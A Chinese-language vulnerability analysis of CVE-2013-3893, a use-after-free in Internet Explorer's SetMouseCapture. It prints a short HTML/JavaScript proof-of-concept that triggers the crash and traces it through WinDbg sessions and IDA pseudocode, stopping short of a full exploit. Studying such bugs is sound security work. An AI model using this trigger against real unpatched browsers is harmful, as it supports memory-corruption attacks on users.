cve-2013-3893
漏洞介绍
cve-2013-3893又被称为SetMouseCapture IE 0day。据传是Hidden Lynx这个中国黑客组织发动的APT攻击针对美国著名安全厂商Bit9的攻击行动使用了这个漏洞。漏洞的主要原因是 Microsoft IE6至11版本中的mshtml.dll文件中的SetMouseCapture功能实现中存在内存破坏漏洞(uaf),攻击者可以通过它实现任意代码执行。
测试环境
操作系统:Win XP SP3
IE版本:8.0.6001.18702
背景知识
DOM树
是JavaScript操作网页的接口,全称为“文档对象模型”(Document Object Model)。
DOM的其他几个概念
**文档(document):**一个页面就是一个文档
**元素(Element)**:页面中的所有标签都是元素,元素可以看成是对象
**节点(Node):**页面中的内容都是节点:标签,文本
**root:**根
相关函数
SetMouseCapture和SetCapture:将后续的mouse事件都发送给这个对象
ClearMouseCapture:清除mouse,会触发Onlosecapture事件。
Onlosecapture: 当元素失去鼠标移动所形成的选择焦点时触发此事件
document.write:往document里面写数据,如果参数为空则清空document
applyElement方法
语法:
object . applyElement ( oElement , sWhere )
参数:
oElement : 必选项。对象(Element)。要被添加的对象。
sWhere : 可选项。字符串(String)。outside | inside,outside :默认值。将
oElement 添加为 object 的父对象。inside :将 oElement 添加为 object
的子对象。但 oElement 将成为object 的原所有子对象的父对象。
漏洞分析
Poc:
<html>
<script>
function trigger()
{
Math.tan(1,1);
var id_0 = document.createElement("sup");
var id_1 = document.createElement("audio");
document.body.appendChild(id_0);
document.body.appendChild(id_1);
Math.tan(3,4);
id_1.applyElement(id_0);
id_0.onlosecapture=function(e) {
Math.cos(0);
document.write("");
}
Math.sin(0);
id_0['outerText']="";
Math.cos(0);
id_0.setCapture();
id_1.setCapture();
Math.cos(0);
}
window.onload = function() {
trigger();
}
</script>
</html>
这里新学到了一种调试的方法,用jscript.dll里面的三个函数tan、sin、cos来作为中断利用。这样可以排除其他因素的干扰,防止断点在漏洞位置之前断了好多次而不知道具体是否断在了漏洞位置。加了上面三个函数,只要关注中断在它后面的位置就可以了。
开启页堆,先直接运行一下。发现断在了这个位置,当前的edi是没有内存的,查一下edi所在堆的情况,可以看到最上面的就是释放堆ntdll!RtlFreeHeap,现在又在利用这个地址。所以很明显的就是一个uaf(usa after free)。
0:026> g
ModLoad: 762d0000 762e0000 C:WINDOWSsystem32winsta.dll
(b60.e80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=1f854fb0 ecx=0748d6a8 edx=0646c570 esi=00000000 edi=1f854fb0
eip=3db0bf8b esp=0646c788 ebp=0646c790 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202
mshtml!CDoc::HasContainerCapture+0x14:
3db0bf8b 8b0f mov ecx,dword ptr [edi] ds:0023:1f854fb0=????????
0:009> !heap -p -a edi
address 1f854fb0 found in
_DPH_HEAP_ROOT @ 161000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
1fd79b10: 1f854000 2000
7c93a1ba ntdll!RtlFreeHeap+0x000000f9
3db2434f mshtml!CTreeNode::Release+0x0000002d
3db24d22 mshtml!CMarkup::UnloadContents+0x00000383
3dc4c183 mshtml!CMarkup::TearDownMarkupHelper+0x00000053
3dc4c25e mshtml!CMarkup::TearDownMarkup+0x00000054
3dc4d618 mshtml!COmWindowProxy::SwitchMarkup+0x000005b7
3dc54f10 mshtml!CDocument::open+0x00000471
3dc53dc2 mshtml!CDocument::write+0x00000081
3dc53ab9 mshtml!Method_void_SAFEARRAYPVARIANTP+0x00000085
3db6b213 mshtml!CBase::ContextInvokeEx+0x000005d1
3db6b6c2 mshtml!CBase::InvokeEx+0x00000025
3db6b8b6 mshtml!DispatchInvokeCollection+0x0000014b
3dae0c88 mshtml!CDocument::InvokeEx+0x000000f1
3db6ac55 mshtml!CBase::VersionedInvokeEx+0x00000020
3db6ac11 mshtml!PlainInvokeEx+0x000000ea
3e373a8a jscript!IDispatchExInvokeEx2+0x000000f8
再看看栈回溯,记下前面几个函数,留着后面调试使用。
0:009> kv
ChildEBP RetAddr Args to Child
0646c790 3dcc7fa0 00000000 187faff0 0748d6a8
mshtml!CDoc::HasContainerCapture+0x14
0646c814 3dce9caf 0646c838 00000000 00000000 mshtml!CDoc::PumpMessage+0x3f3
0646c8d0 3ddaed6d 187fcff0 00000001 187faff0 mshtml!CDoc::SetMouseCapture+0xe6
0646c8f8 3ddddab0 1820afc8 0000ffff 253ecfd0 mshtml!CElement::setCapture+0x50
0646c920 3db6b213 1820afc8 253ecfd0 183bcfd8
mshtml!Method_void_oDoVARIANTBOOL+0xc4
0646c994 3db773a1 1820afc8 80010410 00000001 mshtml!CBase::ContextInvokeEx+0x5d1
0646c9e4 3db83144 1820afc8 80010410 00000001
mshtml!CElement::ContextInvokeEx+0x9d
0646ca10 3db6ac11 1820afc8 80010410 00000001
mshtml!CElement::VersionedInvokeEx+0x2d
0646ca60 3e373a8a 180f4fd8 80010410 00000001 mshtml!PlainInvokeEx+0xea
0646caa0 3e3739d6 25494d10 80010410 00000409 jscript!IDispatchExInvokeEx2+0xf8
0646cadc 3e374f16 25494d10 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a
0646cb9c 3e374e70 80010410 00000001 00000000 jscript!InvokeDispatchEx+0x98
0646cbd0 3e372d5d 25494d10 0646cc04 00000001 jscript!VAR::InvokeByName+0x135
0646cc1c 3e374225 25494d10 00000001 00000000 jscript!VAR::InvokeDispName+0x7a
0646cc4c 3e374f83 25494d10 00000000 00000001 jscript!VAR::InvokeByDispID+0xce
0646cde8 3e37139b 0646ce00 00000000 00000000 jscript!CScriptRuntime::Run+0x2abe
0646ced0 3e3712d5 00000000 00000000 07fd8f70
jscript!ScrFncObj::CallWithFrameOnStack+0xff
重新载入,根据poc步骤来调试。先下断点,第0个和第4个是建DOM树会用到的断点。重新载入的时候最好先用bd把0和4禁用了,不然在到达指定位置之前会被断下很多次。断在poc最开始的tan就可以用be把0和4启用然后继续运行。
0:009> bl
0 d 3da9ee16 0001 (0001) 0:**** mshtml!CTreeNode::CTreeNode
1 d 3e388afa 0001 (0001) 0:**** jscript!tan
2 d 3e389b1d 0001 (0001) 0:**** jscript!sin
3 d 3e389945 0001 (0001) 0:**** jscript!cos
4 d 3da9df9c 0001 (0001) 0:**** mshtml!CElement::CElement
先根据poc创建两个Element然后把Element加入到树中。
Breakpoint 1 hit
eax=00000000 ebx=0638ca88 ecx=00000002 edx=00000003 esi=0638ca78 edi=0638ca78
eip=3e388afa esp=0638c974 ebp=0638c9b0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040216
jscript!tan:
3e388afa ff25a010353e jmp dword ptr [jscript!_imp__tan (3e3510a0)]
ds:0023:3e3510a0={msvcrt!tan (77c1d5e4)}
0:012> be *
0:012> g
Breakpoint 4 hit
eax=1d8c6fd8 ebx=3db59ec0 ecx=7c9301db edx=00165000 esi=1d8c6fd8 edi=00000000
eip=3da9df9c esp=0638c760 ebp=0638c774 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206
mshtml!CElement::CElement:
3da9df9c 8bff mov edi,edi
0:012> g
Breakpoint 4 hit
eax=1daaefc8 ebx=1daaefc8 ecx=7c9301db edx=00165000 esi=0638c7d0 edi=0638c7d0
eip=3da9df9c esp=0638c73c ebp=0638c760 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040212
mshtml!CElement::CElement:
3da9df9c 8bff mov edi,edi
0:012> g
Breakpoint 0 hit
eax=1dc7cfb0 ebx=00000000 ecx=1dc7cfb0 edx=00165000 esi=0638c788 edi=1d8c6fd8
eip=3da9ee16 esp=0638c6bc ebp=0638c758 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CTreeNode::CTreeNode:
3da9ee16 8bff mov edi,edi
0:012> g
Breakpoint 0 hit
eax=1e01efb0 ebx=00000000 ecx=1e01efb0 edx=00165000 esi=0638c788 edi=1daaefc8
eip=3da9ee16 esp=0638c6bc ebp=0638c758 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CTreeNode::CTreeNode:
3da9ee16 8bff mov edi,edi
0:012> g
Breakpoint 1 hit
eax=00000000 ebx=0638ca88 ecx=00000002 edx=00000003 esi=0638ca78 edi=0638ca78
eip=3e388afa esp=0638c974 ebp=0638c9b0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040216
jscript!tan:
3e388afa ff25a010353e jmp dword ptr [jscript!_imp__tan (3e3510a0)] ds:0023:3e3510a0={msvcrt!tan (77c1d5e4)}
可以看到两个节点+0x4都指向同一个位置,猜测这个应该就是它们的父节点。如果这时候去到之后崩溃的位置,会发现,当时的edi也就是访问的位置就是这个父节点。这里先不管继续跟着poc往下走。
0:012> dd 1dc7cfb0 l8
1dc7cfb0 1d8c6fd8 11932fb0 ffff0260 ffffffff
1dc7cfc0 00000651 00000009 1dc7afe0 1e01efc0
0:012> dd 1e01efb0 l8
1e01efb0 1daaefc8 11932fb0 ffff0275 ffffffff
1e01efc0 00000061 00000000 1db4efe0 1dc7cfd8
0:012> ln poi(poi(11932fb0))
(3dabd128) mshtml!CBodyElement::`vftable' | (3db58ac0)
mshtml!CCaret::`vftable'
Exact matches:
mshtml!CBodyElement::`vftable' = <no type information>
后面是id_1.applyElement(id_0);,根据前面相关函数的介绍,这里是id_0作为id_1的父对象。往下走,中断在下一个sin,这里我不知道出现了什么原因导致这里的父子节点好像并没有出现,并且id_0被清空了。这里也没找到原因,但这不影响后面的操作。
0:012> g
Breakpoint 2 hit
eax=00000000 ebx=0638ca88 ecx=00000002 edx=00000003 esi=0638ca78 edi=0638ca78
eip=3e389b1d esp=0638c974 ebp=0638c9b0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040216
jscript!sin:
3e389b1d ff258810353e jmp dword ptr [jscript!_imp__sin (3e351088)]
ds:0023:3e351088={msvcrt!sin (77c1d464)}
0:012> dd 1dc7cfb0 l8
1dc7cfb0 ???????? ???????? ???????? ????????
1dc7cfc0 ???????? ???????? ???????? ????????
0:012> dd 1e01efb0 l8
1e01efb0 1daaefc8 03d28fb0 002a0275 00000001
1e01efc0 00000051 00000000 00000000 03d28fd8
后面的id_0[‘outerText’]=”“;这句话其实才是把id_0清空,不知道为什么前面就清空了,这里把id_1清空。中断在下一个cos。虽然这里id_0和id_1都被清空了,但它们的父节点还在
0:012> g
Breakpoint 3 hit
eax=00000000 ebx=0638ca88 ecx=00000002 edx=00000003 esi=0638ca78 edi=0638ca78
eip=3e389945 esp=0638c974 ebp=0638c9b0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040216
jscript!cos:
3e389945 ff25b010353e jmp dword ptr [jscript!_imp__cos (3e3510b0)]
ds:0023:3e3510b0={msvcrt!cos (77c1cd54)}
0:012> dd 1dc7cfb0 l8
1dc7cfb0 ???????? ???????? ???????? ????????
1dc7cfc0 ???????? ???????? ???????? ????????
0:012> dd 1e01efb0 l8
1e01efb0 ???????? ???????? ???????? ????????
1e01efc0 ???????? ???????? ???????? ????????
0:012> ln poi(poi(11932fb0))
(3dabd128) mshtml!CBodyElement::`vftable' | (3db58ac0)
mshtml!CCaret::`vftable'
Exact matches:
mshtml!CBodyElement::`vftable' = <no type information>
继续往下,开始调用setCapture,重点来了。先在前面几个栈回溯得到的函数下断点。
0:012> bl
0 e 3da9ee16 0001 (0001) 0:**** mshtml!CTreeNode::CTreeNode
1 e 3e388afa 0001 (0001) 0:**** jscript!tan
2 e 3e389b1d 0001 (0001) 0:**** jscript!sin
3 e 3e389945 0001 (0001) 0:**** jscript!cos
4 e 3da9df9c 0001 (0001) 0:**** mshtml!CElement::CElement
5 e 3db0bf73 0001 (0001) 0:**** mshtml!CDoc::HasContainerCapture
6 e 3db0b977 0001 (0001) 0:**** mshtml!CDoc::PumpMessage
7 e 3dae1491 0001 (0001) 0:**** mshtml!CDoc::SetMouseCapture
8 e 3db0b7fb 0001 (0001) 0:**** mshtml!CDoc::ReleaseDetachedCaptures
运行,第一个id_0的setCapture直接运行过去了,在第二个id_1的时候进入了断点。先进入了HasContainerCapture函数,但没什么问题,之后进入PumpMessage,单步调试看看会不会有新发现。
0:012> g
Breakpoint 7 hit
eax=1d8c6fd8 ebx=3dfb9308 ecx=00000001 edx=00000000 esi=00000000 edi=00000000
eip=3dae1491 esp=0638c8d4 ebp=0638c8f8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::SetMouseCapture:
3dae1491 8bff mov edi,edi
0:012> g
Breakpoint 7 hit
eax=1daaefc8 ebx=3dfb9308 ecx=00000001 edx=00000000 esi=00000000 edi=00000000
eip=3dae1491 esp=0638c8d4 ebp=0638c8f8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::SetMouseCapture:
3dae1491 8bff mov edi,edi
0:012> g
Breakpoint 5 hit
eax=076a4ff0 ebx=072db6a8 ecx=072db6a8 edx=c0c0c0c0 esi=076a4ff0 edi=00000000
eip=3db0bf73 esp=0638c824 ebp=0638c8d0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206
mshtml!CDoc::HasContainerCapture:
3db0bf73 8bff mov edi,edi
0:012> g
Breakpoint 6 hit
eax=0638c838 ebx=072db6a8 ecx=072db6a8 edx=00000022 esi=076a4ff0 edi=00000000
eip=3db0b977 esp=0638c818 ebp=0638c8d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::PumpMessage:
3db0b977 8bff mov edi,edi
往下一直走关注每个call的时候寄存器的值是否有什么问题
mshtml!CDoc::PumpMessage:
3db0b977 8bff mov edi,edi
3db0b979 55 push ebp
3db0b97a 8bec mov ebp,esp
3db0b97c 83e4f8 and esp,0FFFFFFF8h
3db0b97f 83ec6c sub esp,6Ch
3db0b982 8b8158070000 mov eax,dword ptr [ecx+758h]
3db0b988 8bd0 mov edx,eax
3db0b98a c1e807 shr eax,7
3db0b98d 83e001 and eax,1
3db0b990 53 push ebx
3db0b991 8b99a4010000 mov ebx,dword ptr [ecx+1A4h]
3db0b997 c1ea09 shr edx,9
3db0b99a 83e201 and edx,1
3db0b99d 56 push esi
3db0b99e 89442448 mov dword ptr [esp+48h],eax
3db0b9a2 8b4508 mov eax,dword ptr [ebp+8]
3db0b9a5 8b7004 mov esi,dword ptr [eax+4]
3db0b9a8 57 push edi
3db0b9a9 33ff xor edi,edi
3db0b9ab 81fe00020000 cmp esi,200h
3db0b9b1 894c2410 mov dword ptr [esp+10h],ecx
…………
来到这个ReleaseDetachedCaptures可以看到当前的eax就是前面的根节点。他作为这个函数的参数,步入这个函数。
0:012> p
eax=11932fb0 ebx=11932fb0 ecx=17e7afe0 edx=00000000 esi=0638c838 edi=072db6a8
eip=3db0bb30 esp=0638c794 ebp=0638c814 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::PumpMessage+0x3dc:
3db0bb30 e8c6fcffff call mshtml!CDoc::ReleaseDetachedCaptures (3db0b7fb)
发现这个函数又调用了SetMouseCapture,同时当前的eax为0。
0:012> p
Breakpoint 8 hit
eax=11932fb0 ebx=11932fb0 ecx=17e7afe0 edx=00000000 esi=0638c838 edi=072db6a8
eip=3db0b7fb esp=0638c790 ebp=0638c814 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::ReleaseDetachedCaptures:
3db0b7fb 8bff mov edi,edi
0:012> p
eax=11932fb0 ebx=11932fb0 ecx=17e7afe0 edx=00000000 esi=0638c838 edi=072db6a8
eip=3db0b7fd esp=0638c790 ebp=0638c814 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::ReleaseDetachedCaptures+0x2:
3db0b7fd 55 push ebp
0:012> p
eax=11932fb0 ebx=11932fb0 ecx=17e7afe0 edx=00000000 esi=0638c838 edi=072db6a8
eip=3db0b7fe esp=0638c78c ebp=0638c814 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::ReleaseDetachedCaptures+0x3:
3db0b7fe 8bec mov ebp,esp
0:012> p
eax=11932fb0 ebx=11932fb0 ecx=17e7afe0 edx=00000000 esi=0638c838 edi=072db6a8
eip=3db0b800 esp=0638c78c ebp=0638c78c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::ReleaseDetachedCaptures+0x5:
3db0b800 51 push ecx
0:012> p
eax=11932fb0 ebx=11932fb0 ecx=17e7afe0 edx=00000000 esi=0638c838 edi=072db6a8
eip=3db0b801 esp=0638c788 ebp=0638c78c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::ReleaseDetachedCaptures+0x6:
3db0b801 51 push ecx
0:012> p
eax=11932fb0 ebx=11932fb0 ecx=17e7afe0 edx=00000000 esi=0638c838 edi=072db6a8
eip=3db0b802 esp=0638c784 ebp=0638c78c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::ReleaseDetachedCaptures+0x7:
3db0b802 8b4508 mov eax,dword ptr [ebp+8] ss:0023:0638c794=072db6a8
0:012> p
eax=072db6a8 ebx=11932fb0 ecx=17e7afe0 edx=00000000 esi=0638c838 edi=072db6a8
eip=3db0b805 esp=0638c784 ebp=0638c78c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::ReleaseDetachedCaptures+0xa:
3db0b805 53 push ebx
0:012> p
eax=072db6a8 ebx=11932fb0 ecx=17e7afe0 edx=00000000 esi=0638c838 edi=072db6a8
eip=3db0b806 esp=0638c780 ebp=0638c78c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::ReleaseDetachedCaptures+0xb:
3db0b806 8b9804010000 mov ebx,dword ptr [eax+104h] ds:0023:072db7ac=00000004
0:012> p
eax=072db6a8 ebx=00000004 ecx=17e7afe0 edx=00000000 esi=0638c838 edi=072db6a8
eip=3db0b80c esp=0638c780 ebp=0638c78c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::ReleaseDetachedCaptures+0x11:
3db0b80c c1eb02 shr ebx,2
0:012> p
eax=072db6a8 ebx=00000001 ecx=17e7afe0 edx=00000000 esi=0638c838 edi=072db6a8
eip=3db0b80f esp=0638c780 ebp=0638c78c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::ReleaseDetachedCaptures+0x14:
3db0b80f 56 push esi
0:012> p
eax=072db6a8 ebx=00000001 ecx=17e7afe0 edx=00000000 esi=0638c838 edi=072db6a8
eip=3db0b810 esp=0638c77c ebp=0638c78c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::ReleaseDetachedCaptures+0x15:
3db0b810 57 push edi
0:012> p
eax=072db6a8 ebx=00000001 ecx=17e7afe0 edx=00000000 esi=0638c838 edi=072db6a8
eip=3db0b811 esp=0638c778 ebp=0638c78c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::ReleaseDetachedCaptures+0x16:
3db0b811 0f85a7820a00 jne mshtml!CDoc::ReleaseDetachedCaptures+0x18 (3dbb3abe)
[br=1]
0:012> p
eax=072db6a8 ebx=00000001 ecx=17e7afe0 edx=00000000 esi=0638c838 edi=072db6a8
eip=3dbb3abe esp=0638c778 ebp=0638c78c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::ReleaseDetachedCaptures+0x18:
3dbb3abe 8b880c010000 mov ecx,dword ptr [eax+10Ch] ds:0023:072db7b4=076a6ff0
0:012> p
eax=072db6a8 ebx=00000001 ecx=076a6ff0 edx=00000000 esi=0638c838 edi=072db6a8
eip=3dbb3ac4 esp=0638c778 ebp=0638c78c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::ReleaseDetachedCaptures+0x1e:
3dbb3ac4 8b11 mov edx,dword ptr [ecx] ds:0023:076a6ff0=076a4ff0
0:012> p
eax=072db6a8 ebx=00000001 ecx=076a6ff0 edx=076a4ff0 esi=0638c838 edi=072db6a8
eip=3dbb3ac6 esp=0638c778 ebp=0638c78c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::ReleaseDetachedCaptures+0x20:
3dbb3ac6 8b7208 mov esi,dword ptr [edx+8] ds:0023:076a4ff8=1d8c6fd8
0:012> p
eax=072db6a8 ebx=00000001 ecx=076a6ff0 edx=076a4ff0 esi=1d8c6fd8 edi=072db6a8
eip=3dbb3ac9 esp=0638c778 ebp=0638c78c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::ReleaseDetachedCaptures+0x23:
3dbb3ac9 33d2 xor edx,edx
0:012> p
eax=072db6a8 ebx=00000001 ecx=076a6ff0 edx=00000000 esi=1d8c6fd8 edi=072db6a8
eip=3dbb3acb esp=0638c778 ebp=0638c78c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::ReleaseDetachedCaptures+0x25:
3dbb3acb 395614 cmp dword ptr [esi+14h],edx ds:0023:1d8c6fec=00000000
0:012> p
eax=072db6a8 ebx=00000001 ecx=076a6ff0 edx=00000000 esi=1d8c6fd8 edi=072db6a8
eip=3dbb3ace esp=0638c778 ebp=0638c78c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::ReleaseDetachedCaptures+0x28:
3dbb3ace 0f84e1621300 je mshtml!CDoc::ReleaseDetachedCaptures+0x2a (3dce9db5)
[br=1]
0:012> p
eax=072db6a8 ebx=00000001 ecx=076a6ff0 edx=00000000 esi=1d8c6fd8 edi=072db6a8
eip=3dce9db5 esp=0638c778 ebp=0638c78c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::ReleaseDetachedCaptures+0x2a:
3dce9db5 52 push edx
0:012> p
eax=072db6a8 ebx=00000001 ecx=076a6ff0 edx=00000000 esi=1d8c6fd8 edi=072db6a8
eip=3dce9db6 esp=0638c774 ebp=0638c78c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::ReleaseDetachedCaptures+0x2b:
3dce9db6 33c9 xor ecx,ecx
0:012> p
eax=072db6a8 ebx=00000001 ecx=00000000 edx=00000000 esi=1d8c6fd8 edi=072db6a8
eip=3dce9db8 esp=0638c774 ebp=0638c78c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::ReleaseDetachedCaptures+0x2d:
3dce9db8 51 push ecx
0:012> p
eax=072db6a8 ebx=00000001 ecx=00000000 edx=00000000 esi=1d8c6fd8 edi=072db6a8
eip=3dce9db9 esp=0638c770 ebp=0638c78c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::ReleaseDetachedCaptures+0x2e:
3dce9db9 52 push edx
0:012> p
eax=072db6a8 ebx=00000001 ecx=00000000 edx=00000000 esi=1d8c6fd8 edi=072db6a8
eip=3dce9dba esp=0638c76c ebp=0638c78c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::ReleaseDetachedCaptures+0x2f:
3dce9dba 52 push edx
0:012> p
eax=072db6a8 ebx=00000001 ecx=00000000 edx=00000000 esi=1d8c6fd8 edi=072db6a8
eip=3dce9dbb esp=0638c768 ebp=0638c78c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::ReleaseDetachedCaptures+0x30:
3dce9dbb 6a01 push 1
0:012> p
eax=072db6a8 ebx=00000001 ecx=00000000 edx=00000000 esi=1d8c6fd8 edi=072db6a8
eip=3dce9dbd esp=0638c764 ebp=0638c78c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::ReleaseDetachedCaptures+0x32:
3dce9dbd 50 push eax
0:012> p
eax=072db6a8 ebx=00000001 ecx=00000000 edx=00000000 esi=1d8c6fd8 edi=072db6a8
eip=3dce9dbe esp=0638c760 ebp=0638c78c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::ReleaseDetachedCaptures+0x33:
3dce9dbe 33c0 xor eax,eax
0:012> p
eax=00000000 ebx=00000001 ecx=00000000 edx=00000000 esi=1d8c6fd8 edi=072db6a8
eip=3dce9dc0 esp=0638c760 ebp=0638c78c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::ReleaseDetachedCaptures+0x35:
3dce9dc0 e8cc76dfff call mshtml!CDoc::SetMouseCapture (3dae1491)
再来看看SetMouseCapture,为了方便在ida里面查看源码,可以看到,这里a1就是由eax传入,然后v9=a1接着判断v9是否为0如果为0直接跳到最后一个CDoc::ClearMouseCapture函数中,这里正好eax为0。
void __userpurge CDoc::SetMouseCapture(int a1@<eax>, CDoc *a2@<ecx>, CDoc *a3, int a4, void *lpMem, int a6, int a7, int a8)
{
CDoc *v8; // ebx
int v9; // edi
int v10; // eax
void *v11; // eax
CMessage *v12; // ecx
struct CElementCapture *v13; // esi
CServer *v14; // ecx
int v15; // ecx
CElementCapture *v16; // ecx
int v17; // eax
CMessage *v18; // ST14_4
CMessage *v19; // ecx
CElementCapture *v20; // ecx
CImplPtrAry *v21; // ST14_4
void *v22; // [esp+0h] [ebp-A8h]
struct tagMSG v23; // [esp+10h] [ebp-98h]
int v24; // [esp+A4h] [ebp-4h]
CDoc *v25; // [esp+B0h] [ebp+8h]
v8 = a3;
v9 = a1;
if ( *((_WORD *)a3 + 938) & 0x1000 )
v9 = 0;
if ( v9 )
{
v24 = (*((_DWORD *)a3 + 65) >> 2) - 1;
v10 = v24;
if ( v24 < 0 )
goto LABEL_33;
v15 = *((_DWORD *)a3 + 67) + 4 * v24;
do
{
if ( *(_DWORD *)(*(_DWORD *)v15 + 8) == v9 )
break;
--v10;
v15 -= 4;
}
while ( v10 >= 0 );
if ( v10 < 0 )
{
LABEL_33:
v11 = ATL_malloc(0x10u);
v25 = (CDoc *)(v11 ? CElementCapture::CElementCapture(v11, a7, a8, a4, lpMem) : 0);
if ( v25 )
{
v13 = CDoc::GetLastCapture(v8);
if ( v13 && CDoc::HasContainerCapture(v8, *(struct CElement ***)(v9 + 20)) )
{
CMessage::CMessage(v12, &v23);
v23.message = 533;
CDoc::PumpMessage(v8, (struct CMessage *)&v23, 0, 0);
if ( v13 == CDoc::GetLastCapture(v8) )
{
v17 = *((_DWORD *)v13 + 3);
if ( !(v17 & 2) )
{
v16 = (CElementCapture *)*((_DWORD *)v13 + 2);
if ( !(*((_DWORD *)v16 + 7) & 0x8000000) )
{
*((_DWORD *)v13 + 3) = v17 | 2;
*((_DWORD *)v8 + 469) |= 0x1000u;
CElement::FireEvent(
*((CElement **)v13 + 2),
(const struct PROPERTYDESC_BASIC *)&s_propdescCElementonlosecapture,
1,
0,
(bool *)0xFFFFFFFF,
0,
0);
*((_DWORD *)v8 + 469) &= 0xFFFFEFFF;
}
}
}
if ( *((_DWORD *)v8 + 65) & 0xFFFFFFFC )
{
if ( v13 == CDoc::GetLastCapture(v8) )
{
CElementCapture::~CElementCapture(v20);
CBlockElement::operator delete((void *)v13);
CImplPtrAry::Delete(v21, (int)v22);
}
CImplPtrAry::Append(v20, v22);
}
else
{
CElementCapture::~CElementCapture(v16);
CBlockElement::operator delete((void *)v25);
v19 = v18;
}
CMessage::~CMessage(v19);
}
else
{
CImplPtrAry::Append(v12, v22);
if ( !v13 )
CServer::SetCapture(v14, 1);
}
}
}
}
else
{
CDoc::ClearMouseCapture(a2, a3, 0);
}
}
